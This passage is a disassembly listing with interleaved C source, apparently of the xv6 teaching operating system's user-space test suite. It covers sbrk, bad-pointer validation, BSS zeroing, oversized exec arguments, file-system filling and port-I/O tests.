printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
347c: 89 44 24 0c mov %eax,0xc(%esp)
3480: a1 e4 61 00 00 mov 0x61e4,%eax
3485: 89 5c 24 08 mov %ebx,0x8(%esp)
3489: c7 44 24 04 1c 57 00 movl $0x571c,0x4(%esp)
3490: 00
3491: 89 04 24 mov %eax,(%esp)
3494: e8 67 09 00 00 call 3e00 <printf>
exit();
3499: e8 04 08 00 00 call 3ca2 <exit>
// can one de-allocate?
a = sbrk(0);
c = sbrk(-4096);
if(c == (char*)0xffffffff){
printf(stdout, "sbrk could not deallocate\n");
349e: a1 e4 61 00 00 mov 0x61e4,%eax
34a3: c7 44 24 04 b1 4f 00 movl $0x4fb1,0x4(%esp)
34aa: 00
34ab: 89 04 24 mov %eax,(%esp)
34ae: e8 4d 09 00 00 call 3e00 <printf>
exit();
34b3: e8 ea 07 00 00 call 3ca2 <exit>
#define BIG (100*1024*1024)
a = sbrk(0);
amt = (BIG) - (uint)a;
p = sbrk(amt);
if (p != a) {
printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n");
34b8: a1 e4 61 00 00 mov 0x61e4,%eax
34bd: c7 44 24 04 dc 56 00 movl $0x56dc,0x4(%esp)
34c4: 00
34c5: 89 04 24 mov %eax,(%esp)
34c8: e8 33 09 00 00 call 3e00 <printf>
exit();
34cd: e8 d0 07 00 00 call 3ca2 <exit>
exit();
}
c = sbrk(1);
c = sbrk(1);
if(c != a + 1){
printf(stdout, "sbrk test failed post-fork\n");
34d2: a1 e4 61 00 00 mov 0x61e4,%eax
34d7: c7 44 24 04 95 4f 00 movl $0x4f95,0x4(%esp)
34de: 00
34df: 89 04 24 mov %eax,(%esp)
34e2: e8 19 09 00 00 call 3e00 <printf>
exit();
34e7: e8 b6 07 00 00 call 3ca2 <exit>
*b = 1;
a = b + 1;
}
pid = fork();
if(pid < 0){
printf(stdout, "sbrk test fork failed\n");
34ec: a1 e4 61 00 00 mov 0x61e4,%eax
34f1: c7 44 24 04 7e 4f 00 movl $0x4f7e,0x4(%esp)
34f8: 00
34f9: 89 04 24 mov %eax,(%esp)
34fc: e8 ff 08 00 00 call 3e00 <printf>
exit();
3501: e8 9c 07 00 00 call 3ca2 <exit>
3506: 8d 76 00 lea 0x0(%esi),%esi
3509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003510 <validateint>:
printf(stdout, "sbrk test OK\n");
}
void
validateint(int *p)
{
3510: 55 push %ebp
3511: 89 e5 mov %esp,%ebp
"int %2\n\t"
"mov %%ebx, %%esp" :
"=a" (res) :
"a" (SYS_sleep), "n" (T_SYSCALL), "c" (p) :
"ebx");
}
3513: 5d pop %ebp
3514: c3 ret
3515: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
3519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003520 <validatetest>:
void
validatetest(void)
{
3520: 55 push %ebp
3521: 89 e5 mov %esp,%ebp
3523: 56 push %esi
3524: 53 push %ebx
uint p;
printf(stdout, "validate test\n");
hi = 1100*1024;
for(p = 0; p <= (uint)hi; p += 4096){
3525: 31 db xor %ebx,%ebx
"ebx");
}
void
validatetest(void)
{
3527: 83 ec 10 sub $0x10,%esp
int hi, pid;
uint p;
printf(stdout, "validate test\n");
352a: a1 e4 61 00 00 mov 0x61e4,%eax
352f: c7 44 24 04 0e 50 00 movl $0x500e,0x4(%esp)
3536: 00
3537: 89 04 24 mov %eax,(%esp)
353a: e8 c1 08 00 00 call 3e00 <printf>
353f: 90 nop
hi = 1100*1024;
for(p = 0; p <= (uint)hi; p += 4096){
if((pid = fork()) == 0){
3540: e8 55 07 00 00 call 3c9a <fork>
3545: 85 c0 test %eax,%eax
3547: 89 c6 mov %eax,%esi
3549: 74 79 je 35c4 <validatetest+0xa4>
// try to crash the kernel by passing in a badly placed integer
validateint((int*)p);
exit();
}
sleep(0);
354b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3552: e8 db 07 00 00 call 3d32 <sleep>
sleep(0);
3557: c7 04 24 00 00 00 00 movl $0x0,(%esp)
355e: e8 cf 07 00 00 call 3d32 <sleep>
kill(pid);
3563: 89 34 24 mov %esi,(%esp)
3566: e8 67 07 00 00 call 3cd2 <kill>
wait();
356b: e8 3a 07 00 00 call 3caa <wait>
// try to crash the kernel by passing in a bad string pointer
if(link("nosuchfile", (char*)p) != -1){
3570: 89 5c 24 04 mov %ebx,0x4(%esp)
3574: c7 04 24 1d 50 00 00 movl $0x501d,(%esp)
357b: e8 82 07 00 00 call 3d02 <link>
3580: 83 f8 ff cmp $0xffffffff,%eax
3583: 75 2a jne 35af <validatetest+0x8f>
uint p;
printf(stdout, "validate test\n");
hi = 1100*1024;
for(p = 0; p <= (uint)hi; p += 4096){
3585: 81 c3 00 10 00 00 add $0x1000,%ebx
358b: 81 fb 00 40 11 00 cmp $0x114000,%ebx
3591: 75 ad jne 3540 <validatetest+0x20>
printf(stdout, "link should not succeed\n");
exit();
}
}
printf(stdout, "validate ok\n");
3593: a1 e4 61 00 00 mov 0x61e4,%eax
3598: c7 44 24 04 41 50 00 movl $0x5041,0x4(%esp)
359f: 00
35a0: 89 04 24 mov %eax,(%esp)
35a3: e8 58 08 00 00 call 3e00 <printf>
}
35a8: 83 c4 10 add $0x10,%esp
35ab: 5b pop %ebx
35ac: 5e pop %esi
35ad: 5d pop %ebp
35ae: c3 ret
kill(pid);
wait();
// try to crash the kernel by passing in a bad string pointer
if(link("nosuchfile", (char*)p) != -1){
printf(stdout, "link should not succeed\n");
35af: a1 e4 61 00 00 mov 0x61e4,%eax
35b4: c7 44 24 04 28 50 00 movl $0x5028,0x4(%esp)
35bb: 00
35bc: 89 04 24 mov %eax,(%esp)
35bf: e8 3c 08 00 00 call 3e00 <printf>
exit();
35c4: e8 d9 06 00 00 call 3ca2 <exit>
35c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000035d0 <bsstest>:
// does unintialized data start out zero?
char uninit[10000];
void
bsstest(void)
{
35d0: 55 push %ebp
35d1: 89 e5 mov %esp,%ebp
35d3: 83 ec 18 sub $0x18,%esp
int i;
printf(stdout, "bss test\n");
35d6: a1 e4 61 00 00 mov 0x61e4,%eax
35db: c7 44 24 04 4e 50 00 movl $0x504e,0x4(%esp)
35e2: 00
35e3: 89 04 24 mov %eax,(%esp)
35e6: e8 15 08 00 00 call 3e00 <printf>
for(i = 0; i < sizeof(uninit); i++){
if(uninit[i] != '\0'){
35eb: 80 3d a0 62 00 00 00 cmpb $0x0,0x62a0
35f2: 75 36 jne 362a <bsstest+0x5a>
bsstest(void)
{
int i;
printf(stdout, "bss test\n");
for(i = 0; i < sizeof(uninit); i++){
35f4: b8 01 00 00 00 mov $0x1,%eax
35f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(uninit[i] != '\0'){
3600: 80 b8 a0 62 00 00 00 cmpb $0x0,0x62a0(%eax)
3607: 75 21 jne 362a <bsstest+0x5a>
bsstest(void)
{
int i;
printf(stdout, "bss test\n");
for(i = 0; i < sizeof(uninit); i++){
3609: 83 c0 01 add $0x1,%eax
360c: 3d 10 27 00 00 cmp $0x2710,%eax
3611: 75 ed jne 3600 <bsstest+0x30>
if(uninit[i] != '\0'){
printf(stdout, "bss test failed\n");
exit();
}
}
printf(stdout, "bss test ok\n");
3613: a1 e4 61 00 00 mov 0x61e4,%eax
3618: c7 44 24 04 69 50 00 movl $0x5069,0x4(%esp)
361f: 00
3620: 89 04 24 mov %eax,(%esp)
3623: e8 d8 07 00 00 call 3e00 <printf>
}
3628: c9 leave
3629: c3 ret
int i;
printf(stdout, "bss test\n");
for(i = 0; i < sizeof(uninit); i++){
if(uninit[i] != '\0'){
printf(stdout, "bss test failed\n");
362a: a1 e4 61 00 00 mov 0x61e4,%eax
362f: c7 44 24 04 58 50 00 movl $0x5058,0x4(%esp)
3636: 00
3637: 89 04 24 mov %eax,(%esp)
363a: e8 c1 07 00 00 call 3e00 <printf>
exit();
363f: e8 5e 06 00 00 call 3ca2 <exit>
3644: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
364a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00003650 <bigargtest>:
// does exec return an error if the arguments
// are larger than a page? or does it write
// below the stack and wreck the instructions/data?
void
bigargtest(void)
{
3650: 55 push %ebp
3651: 89 e5 mov %esp,%ebp
3653: 83 ec 18 sub $0x18,%esp
int pid, fd;
unlink("bigarg-ok");
3656: c7 04 24 76 50 00 00 movl $0x5076,(%esp)
365d: e8 90 06 00 00 call 3cf2 <unlink>
pid = fork();
3662: e8 33 06 00 00 call 3c9a <fork>
if(pid == 0){
3667: 85 c0 test %eax,%eax
3669: 74 45 je 36b0 <bigargtest+0x60>
366b: 90 nop
366c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
exec("echo", args);
printf(stdout, "bigarg test ok\n");
fd = open("bigarg-ok", O_CREATE);
close(fd);
exit();
} else if(pid < 0){
3670: 0f 88 d0 00 00 00 js 3746 <bigargtest+0xf6>
printf(stdout, "bigargtest: fork failed\n");
exit();
}
wait();
3676: e8 2f 06 00 00 call 3caa <wait>
fd = open("bigarg-ok", 0);
367b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3682: 00
3683: c7 04 24 76 50 00 00 movl $0x5076,(%esp)
368a: e8 53 06 00 00 call 3ce2 <open>
if(fd < 0){
368f: 85 c0 test %eax,%eax
3691: 0f 88 95 00 00 00 js 372c <bigargtest+0xdc>
printf(stdout, "bigarg test failed!\n");
exit();
}
close(fd);
3697: 89 04 24 mov %eax,(%esp)
369a: e8 2b 06 00 00 call 3cca <close>
unlink("bigarg-ok");
369f: c7 04 24 76 50 00 00 movl $0x5076,(%esp)
36a6: e8 47 06 00 00 call 3cf2 <unlink>
}
36ab: c9 leave
36ac: c3 ret
36ad: 8d 76 00 lea 0x0(%esi),%esi
pid = fork();
if(pid == 0){
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
args[i] = "bigargs test: failed\n ";
36b0: c7 04 85 00 62 00 00 movl $0x57d0,0x6200(,%eax,4)
36b7: d0 57 00 00
unlink("bigarg-ok");
pid = fork();
if(pid == 0){
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
36bb: 83 c0 01 add $0x1,%eax
36be: 83 f8 1f cmp $0x1f,%eax
36c1: 75 ed jne 36b0 <bigargtest+0x60>
args[i] = "bigargs test: failed\n ";
args[MAXARG-1] = 0;
printf(stdout, "bigarg test\n");
36c3: a1 e4 61 00 00 mov 0x61e4,%eax
36c8: c7 44 24 04 80 50 00 movl $0x5080,0x4(%esp)
36cf: 00
if(pid == 0){
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
args[i] = "bigargs test: failed\n ";
args[MAXARG-1] = 0;
36d0: c7 05 7c 62 00 00 00 movl $0x0,0x627c
36d7: 00 00 00
printf(stdout, "bigarg test\n");
36da: 89 04 24 mov %eax,(%esp)
36dd: e8 1e 07 00 00 call 3e00 <printf>
exec("echo", args);
36e2: c7 44 24 04 00 62 00 movl $0x6200,0x4(%esp)
36e9: 00
36ea: c7 04 24 4d 42 00 00 movl $0x424d,(%esp)
36f1: e8 e4 05 00 00 call 3cda <exec>
printf(stdout, "bigarg test ok\n");
36f6: a1 e4 61 00 00 mov 0x61e4,%eax
36fb: c7 44 24 04 8d 50 00 movl $0x508d,0x4(%esp)
3702: 00
3703: 89 04 24 mov %eax,(%esp)
3706: e8 f5 06 00 00 call 3e00 <printf>
fd = open("bigarg-ok", O_CREATE);
370b: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
3712: 00
3713: c7 04 24 76 50 00 00 movl $0x5076,(%esp)
371a: e8 c3 05 00 00 call 3ce2 <open>
close(fd);
371f: 89 04 24 mov %eax,(%esp)
3722: e8 a3 05 00 00 call 3cca <close>
exit();
3727: e8 76 05 00 00 call 3ca2 <exit>
exit();
}
wait();
fd = open("bigarg-ok", 0);
if(fd < 0){
printf(stdout, "bigarg test failed!\n");
372c: a1 e4 61 00 00 mov 0x61e4,%eax
3731: c7 44 24 04 b6 50 00 movl $0x50b6,0x4(%esp)
3738: 00
3739: 89 04 24 mov %eax,(%esp)
373c: e8 bf 06 00 00 call 3e00 <printf>
exit();
3741: e8 5c 05 00 00 call 3ca2 <exit>
printf(stdout, "bigarg test ok\n");
fd = open("bigarg-ok", O_CREATE);
close(fd);
exit();
} else if(pid < 0){
printf(stdout, "bigargtest: fork failed\n");
3746: a1 e4 61 00 00 mov 0x61e4,%eax
374b: c7 44 24 04 9d 50 00 movl $0x509d,0x4(%esp)
3752: 00
3753: 89 04 24 mov %eax,(%esp)
3756: e8 a5 06 00 00 call 3e00 <printf>
exit();
375b: e8 42 05 00 00 call 3ca2 <exit>
00003760 <fsfull>:
// what happens when the file system runs out of blocks?
// answer: balloc panics, so this test is not useful.
void
fsfull()
{
3760: 55 push %ebp
3761: 89 e5 mov %esp,%ebp
3763: 57 push %edi
3764: 56 push %esi
3765: 53 push %ebx
int nfiles;
int fsblocks = 0;
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
3766: 31 db xor %ebx,%ebx
// what happens when the file system runs out of blocks?
// answer: balloc panics, so this test is not useful.
void
fsfull()
{
3768: 83 ec 5c sub $0x5c,%esp
int nfiles;
int fsblocks = 0;
printf(1, "fsfull test\n");
376b: c7 44 24 04 cb 50 00 movl $0x50cb,0x4(%esp)
3772: 00
3773: c7 04 24 01 00 00 00 movl $0x1,(%esp)
377a: e8 81 06 00 00 call 3e00 <printf>
377f: 90 nop
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
3780: b8 d3 4d 62 10 mov $0x10624dd3,%eax
3785: 89 d9 mov %ebx,%ecx
3787: f7 eb imul %ebx
name[2] = '0' + (nfiles % 1000) / 100;
3789: 89 de mov %ebx,%esi
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
378b: c1 f9 1f sar $0x1f,%ecx
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
378e: 89 df mov %ebx,%edi
name[4] = '0' + (nfiles % 10);
name[5] = '\0';
printf(1, "writing %s\n", name);
3790: c7 44 24 04 d8 50 00 movl $0x50d8,0x4(%esp)
3797: 00
3798: c7 04 24 01 00 00 00 movl $0x1,(%esp)
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
379f: c1 fa 06 sar $0x6,%edx
37a2: 29 ca sub %ecx,%edx
37a4: 8d 42 30 lea 0x30(%edx),%eax
name[2] = '0' + (nfiles % 1000) / 100;
37a7: 69 d2 e8 03 00 00 imul $0x3e8,%edx,%edx
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
37ad: 88 45 a9 mov %al,-0x57(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
37b0: b8 1f 85 eb 51 mov $0x51eb851f,%eax
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
37b5: c6 45 a8 66 movb $0x66,-0x58(%ebp)
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
name[4] = '0' + (nfiles % 10);
name[5] = '\0';
37b9: c6 45 ad 00 movb $0x0,-0x53(%ebp)
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
37bd: 29 d6 sub %edx,%esi
37bf: f7 ee imul %esi
name[3] = '0' + (nfiles % 100) / 10;
37c1: b8 1f 85 eb 51 mov $0x51eb851f,%eax
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
37c6: c1 fe 1f sar $0x1f,%esi
37c9: c1 fa 05 sar $0x5,%edx
37cc: 29 f2 sub %esi,%edx
name[3] = '0' + (nfiles % 100) / 10;
37ce: be 67 66 66 66 mov $0x66666667,%esi
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
37d3: 83 c2 30 add $0x30,%edx
37d6: 88 55 aa mov %dl,-0x56(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
37d9: f7 eb imul %ebx
37db: c1 fa 05 sar $0x5,%edx
37de: 29 ca sub %ecx,%edx
37e0: 6b d2 64 imul $0x64,%edx,%edx
37e3: 29 d7 sub %edx,%edi
37e5: 89 f8 mov %edi,%eax
37e7: f7 ee imul %esi
name[4] = '0' + (nfiles % 10);
37e9: 89 d8 mov %ebx,%eax
for(nfiles = 0; ; nfiles++){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
37eb: c1 ff 1f sar $0x1f,%edi
37ee: c1 fa 02 sar $0x2,%edx
37f1: 29 fa sub %edi,%edx
37f3: 83 c2 30 add $0x30,%edx
37f6: 88 55 ab mov %dl,-0x55(%ebp)
name[4] = '0' + (nfiles % 10);
37f9: f7 ee imul %esi
37fb: c1 fa 02 sar $0x2,%edx
37fe: 29 ca sub %ecx,%edx
3800: 89 d9 mov %ebx,%ecx
3802: 8d 04 92 lea (%edx,%edx,4),%eax
3805: 01 c0 add %eax,%eax
3807: 29 c1 sub %eax,%ecx
3809: 89 c8 mov %ecx,%eax
380b: 83 c0 30 add $0x30,%eax
380e: 88 45 ac mov %al,-0x54(%ebp)
name[5] = '\0';
printf(1, "writing %s\n", name);
3811: 8d 45 a8 lea -0x58(%ebp),%eax
3814: 89 44 24 08 mov %eax,0x8(%esp)
3818: e8 e3 05 00 00 call 3e00 <printf>
int fd = open(name, O_CREATE|O_RDWR);
381d: 8d 45 a8 lea -0x58(%ebp),%eax
3820: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
3827: 00
3828: 89 04 24 mov %eax,(%esp)
382b: e8 b2 04 00 00 call 3ce2 <open>
if(fd < 0){
3830: 85 c0 test %eax,%eax
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
name[4] = '0' + (nfiles % 10);
name[5] = '\0';
printf(1, "writing %s\n", name);
int fd = open(name, O_CREATE|O_RDWR);
3832: 89 c7 mov %eax,%edi
if(fd < 0){
3834: 78 57 js 388d <fsfull+0x12d>
3836: 31 f6 xor %esi,%esi
3838: eb 08 jmp 3842 <fsfull+0xe2>
383a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
int total = 0;
while(1){
int cc = write(fd, buf, 512);
if(cc < 512)
break;
total += cc;
3840: 01 c6 add %eax,%esi
printf(1, "open %s failed\n", name);
break;
}
int total = 0;
while(1){
int cc = write(fd, buf, 512);
3842: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
3849: 00
384a: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
3851: 00
3852: 89 3c 24 mov %edi,(%esp)
3855: e8 68 04 00 00 call 3cc2 <write>
if(cc < 512)
385a: 3d ff 01 00 00 cmp $0x1ff,%eax
385f: 7f df jg 3840 <fsfull+0xe0>
break;
total += cc;
fsblocks++;
}
printf(1, "wrote %d bytes\n", total);
3861: 89 74 24 08 mov %esi,0x8(%esp)
3865: c7 44 24 04 f4 50 00 movl $0x50f4,0x4(%esp)
386c: 00
386d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3874: e8 87 05 00 00 call 3e00 <printf>
close(fd);
3879: 89 3c 24 mov %edi,(%esp)
387c: e8 49 04 00 00 call 3cca <close>
if(total == 0)
3881: 85 f6 test %esi,%esi
3883: 74 23 je 38a8 <fsfull+0x148>
int nfiles;
int fsblocks = 0;
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
3885: 83 c3 01 add $0x1,%ebx
}
printf(1, "wrote %d bytes\n", total);
close(fd);
if(total == 0)
break;
}
3888: e9 f3 fe ff ff jmp 3780 <fsfull+0x20>
name[4] = '0' + (nfiles % 10);
name[5] = '\0';
printf(1, "writing %s\n", name);
int fd = open(name, O_CREATE|O_RDWR);
if(fd < 0){
printf(1, "open %s failed\n", name);
388d: 8d 45 a8 lea -0x58(%ebp),%eax
3890: 89 44 24 08 mov %eax,0x8(%esp)
3894: c7 44 24 04 e4 50 00 movl $0x50e4,0x4(%esp)
389b: 00
389c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
38a3: e8 58 05 00 00 call 3e00 <printf>
}
while(nfiles >= 0){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
38a8: b8 d3 4d 62 10 mov $0x10624dd3,%eax
38ad: 89 d9 mov %ebx,%ecx
38af: f7 eb imul %ebx
name[2] = '0' + (nfiles % 1000) / 100;
38b1: 89 de mov %ebx,%esi
}
while(nfiles >= 0){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
38b3: c1 f9 1f sar $0x1f,%ecx
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
38b6: 89 df mov %ebx,%edi
break;
}
while(nfiles >= 0){
char name[64];
name[0] = 'f';
38b8: c6 45 a8 66 movb $0x66,-0x58(%ebp)
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
name[4] = '0' + (nfiles % 10);
name[5] = '\0';
38bc: c6 45 ad 00 movb $0x0,-0x53(%ebp)
}
while(nfiles >= 0){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
38c0: c1 fa 06 sar $0x6,%edx
38c3: 29 ca sub %ecx,%edx
38c5: 8d 42 30 lea 0x30(%edx),%eax
name[2] = '0' + (nfiles % 1000) / 100;
38c8: 69 d2 e8 03 00 00 imul $0x3e8,%edx,%edx
}
while(nfiles >= 0){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
38ce: 88 45 a9 mov %al,-0x57(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
38d1: b8 1f 85 eb 51 mov $0x51eb851f,%eax
38d6: 29 d6 sub %edx,%esi
38d8: f7 ee imul %esi
name[3] = '0' + (nfiles % 100) / 10;
38da: b8 1f 85 eb 51 mov $0x51eb851f,%eax
while(nfiles >= 0){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
38df: c1 fe 1f sar $0x1f,%esi
38e2: c1 fa 05 sar $0x5,%edx
38e5: 29 f2 sub %esi,%edx
name[3] = '0' + (nfiles % 100) / 10;
38e7: be 67 66 66 66 mov $0x66666667,%esi
while(nfiles >= 0){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
38ec: 83 c2 30 add $0x30,%edx
38ef: 88 55 aa mov %dl,-0x56(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
38f2: f7 eb imul %ebx
38f4: c1 fa 05 sar $0x5,%edx
38f7: 29 ca sub %ecx,%edx
38f9: 6b d2 64 imul $0x64,%edx,%edx
38fc: 29 d7 sub %edx,%edi
38fe: 89 f8 mov %edi,%eax
3900: f7 ee imul %esi
name[4] = '0' + (nfiles % 10);
3902: 89 d8 mov %ebx,%eax
while(nfiles >= 0){
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
3904: c1 ff 1f sar $0x1f,%edi
3907: c1 fa 02 sar $0x2,%edx
390a: 29 fa sub %edi,%edx
390c: 83 c2 30 add $0x30,%edx
390f: 88 55 ab mov %dl,-0x55(%ebp)
name[4] = '0' + (nfiles % 10);
3912: f7 ee imul %esi
3914: c1 fa 02 sar $0x2,%edx
3917: 29 ca sub %ecx,%edx
3919: 89 d9 mov %ebx,%ecx
391b: 8d 04 92 lea (%edx,%edx,4),%eax
name[5] = '\0';
unlink(name);
nfiles--;
391e: 83 eb 01 sub $0x1,%ebx
char name[64];
name[0] = 'f';
name[1] = '0' + nfiles / 1000;
name[2] = '0' + (nfiles % 1000) / 100;
name[3] = '0' + (nfiles % 100) / 10;
name[4] = '0' + (nfiles % 10);
3921: 01 c0 add %eax,%eax
3923: 29 c1 sub %eax,%ecx
3925: 89 c8 mov %ecx,%eax
3927: 83 c0 30 add $0x30,%eax
392a: 88 45 ac mov %al,-0x54(%ebp)
name[5] = '\0';
unlink(name);
392d: 8d 45 a8 lea -0x58(%ebp),%eax
3930: 89 04 24 mov %eax,(%esp)
3933: e8 ba 03 00 00 call 3cf2 <unlink>
close(fd);
if(total == 0)
break;
}
while(nfiles >= 0){
3938: 83 fb ff cmp $0xffffffff,%ebx
393b: 0f 85 67 ff ff ff jne 38a8 <fsfull+0x148>
name[5] = '\0';
unlink(name);
nfiles--;
}
printf(1, "fsfull test finished\n");
3941: c7 44 24 04 04 51 00 movl $0x5104,0x4(%esp)
3948: 00
3949: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3950: e8 ab 04 00 00 call 3e00 <printf>
}
3955: 83 c4 5c add $0x5c,%esp
3958: 5b pop %ebx
3959: 5e pop %esi
395a: 5f pop %edi
395b: 5d pop %ebp
395c: c3 ret
395d: 8d 76 00 lea 0x0(%esi),%esi
00003960 <uio>:
void
uio()
{
3960: 55 push %ebp
3961: 89 e5 mov %esp,%ebp
3963: 83 ec 18 sub $0x18,%esp
ushort port = 0;
uchar val = 0;
int pid;
printf(1, "uio test\n");
3966: c7 44 24 04 1a 51 00 movl $0x511a,0x4(%esp)
396d: 00
396e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3975: e8 86 04 00 00 call 3e00 <printf>
pid = fork();
397a: e8 1b 03 00 00 call 3c9a <fork>
if(pid == 0){
397f: 85 c0 test %eax,%eax
3981: 74 1d je 39a0 <uio+0x40>
asm volatile("outb %0,%1"::"a"(val), "d" (port));
port = RTC_DATA;
asm volatile("inb %1,%0" : "=a" (val) : "d" (port));
printf(1, "uio: uio succeeded; test FAILED\n");
exit();
} else if(pid < 0){
3983: 78 42 js 39c7 <uio+0x67>
printf (1, "fork failed\n");
exit();
}
wait();
3985: e8 20 03 00 00 call 3caa <wait>
printf(1, "uio test done\n");
398a: c7 44 24 04 24 51 00 movl $0x5124,0x4(%esp)
3991: 00
3992: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3999: e8 62 04 00 00 call 3e00 <printf>
}
399e: c9 leave
399f: c3 ret
pid = fork();
if(pid == 0){
port = RTC_ADDR;
val = 0x09; /* year */
/* http://wiki.osdev.org/Inline_Assembly/Examples */
asm volatile("outb %0,%1"::"a"(val), "d" (port));
39a0: ba 70 00 00 00 mov $0x70,%edx
39a5: b8 09 00 00 00 mov $0x9,%eax
39aa: ee out %al,(%dx)
port = RTC_DATA;
asm volatile("inb %1,%0" : "=a" (val) : "d" (port));
39ab: b2 71 mov $0x71,%dl
39ad: ec in (%dx),%al
printf(1, "uio: uio succeeded; test FAILED\n");
39ae: c7 44 24 04 b0 58 00 movl $0x58b0,0x4(%esp)
39b5: 00
39b6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
39bd: e8 3e 04 00 00 call 3e00 <printf>
exit();
39c2: e8 db 02 00 00 call 3ca2 <exit>
} else if(pid < 0){
printf (1, "fork failed\n");
39c7: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
39ce: 00
39cf: c7 04 24 01 00 00 00 movl $0x1,(%esp)
39d6: e8 25 04 00 00 call 3e00 <printf>
exit();
39db: e8 c2 02 00 00 call 3ca2 <exit>
000039e0 <argptest>:
wait();
printf(1, "uio test done\n");
}
void argptest()
{
39e0: 55 push %ebp
39e1: 89 e5 mov %esp,%ebp
39e3: 53 push %ebx
39e4: 83 ec 14 sub $0x14,%esp
int fd;
fd = open("init", O_RDONLY);
39e7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
39ee: 00
39ef: c7 04 24 33 51 00 00 movl $0x5133,(%esp)
39f6: e8 e7 02 00 00 call 3ce2 <open>
if (fd < 0) {
39fb: 85 c0 test %eax,%eax
}
void argptest()
{
int fd;
fd = open("init", O_RDONLY);
39fd: 89 c3 mov %eax,%ebx
if (fd < 0) {
39ff: 78 45 js 3a46 <argptest+0x66>
printf(2, "open failed\n");
exit();
}
read(fd, sbrk(0) - 1, -1);
3a01: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3a08: e8 1d 03 00 00 call 3d2a <sbrk>
3a0d: 89 1c 24 mov %ebx,(%esp)
3a10: c7 44 24 08 ff ff ff movl $0xffffffff,0x8(%esp)
3a17: ff
3a18: 83 e8 01 sub $0x1,%eax
3a1b: 89 44 24 04 mov %eax,0x4(%esp)
3a1f: e8 96 02 00 00 call 3cba <read>
close(fd);
3a24: 89 1c 24 mov %ebx,(%esp)
3a27: e8 9e 02 00 00 call 3cca <close>
printf(1, "arg test passed\n");
3a2c: c7 44 24 04 45 51 00 movl $0x5145,0x4(%esp)
3a33: 00
3a34: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3a3b: e8 c0 03 00 00 call 3e00 <printf>
}
3a40: 83 c4 14 add $0x14,%esp
3a43: 5b pop %ebx
3a44: 5d pop %ebp
3a45: c3 ret
void argptest()
{
int fd;
fd = open("init", O_RDONLY);
if (fd < 0) {
